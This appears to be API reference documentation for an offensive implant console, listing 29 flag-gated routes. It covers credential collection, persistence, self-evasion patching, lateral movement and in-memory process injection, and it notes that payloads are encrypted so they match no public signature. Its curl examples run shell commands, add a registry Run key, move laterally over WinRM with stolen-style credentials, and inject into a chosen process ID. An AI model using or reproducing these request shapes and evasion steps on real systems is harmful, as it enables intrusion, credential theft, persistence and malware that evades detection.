Capabilities & gates

The complete API surface — all 29 routes — with the flag that unlocks each one. Nothing here is hidden behind a flag you cannot see: a locked route answers 403 and returns the exact flag that would open it.

Page and channel routes

Always available (token only)

Credential collection — --enable-collect

Persistence — --enable-persist

Self-evasion — --enable-evasion

Repatching is refused with 422 already patched rather than applied twice — a blind second patch would corrupt the prologue it already rewrote.

Lateral movement — --enable-lateral

Process injection — --enable-inject

The payload is unpacked in memory right before the injection. Pack it with oblpack.exe -in payloads\research_signal.bin -key <passphrase> and start the console with the same --payload-key. The envelope is magic || nonce || AES-256-GCM, so the on-disk bytes match no public signature. The research note on SSN recovery and the W^X design is in docs/HALOS_GATE.md.

Examples

Request shapes as the handlers enforce them; a wrong shape answers 400 with the expected body.

# execution context and process table
curl -s -H "X-Signal-Token: $TOK" http://127.0.0.1:8080/v1/sys/st
curl -s -H "X-Signal-Token: $TOK" http://127.0.0.1:8080/v1/sys/b2

# command console (runs as the token holder)
curl -s -X POST -H "X-Signal-Token: $TOK" \
     -d '{"c":"whoami"}' http://127.0.0.1:8080/v1/sys/cmd

# persistence: list, then add a Run key
curl -s -H "X-Signal-Token: $TOK" http://127.0.0.1:8080/v1/sys/persist
curl -s -X POST -H "X-Signal-Token: $TOK" \
     -d '{"type":"run","hive":"HKCU","name":"x","cmd":"C:\\path\\to\\binary.exe"}' \
     http://127.0.0.1:8080/v1/op/persist-add

# lateral movement over WinRM
curl -s -X POST -H "X-Signal-Token: $TOK" \
     -d '{"host":"10.0.0.5","user":"CORP\\svc","password":"…","command":"whoami"}' \
     http://127.0.0.1:8080/v1/op/lateral-winrm

# injection into a selected PID (amd64)
curl -s -X POST -H "X-Signal-Token: $TOK" \
     -d '{"pid":1234}' http://127.0.0.1:8080/v1/op/d4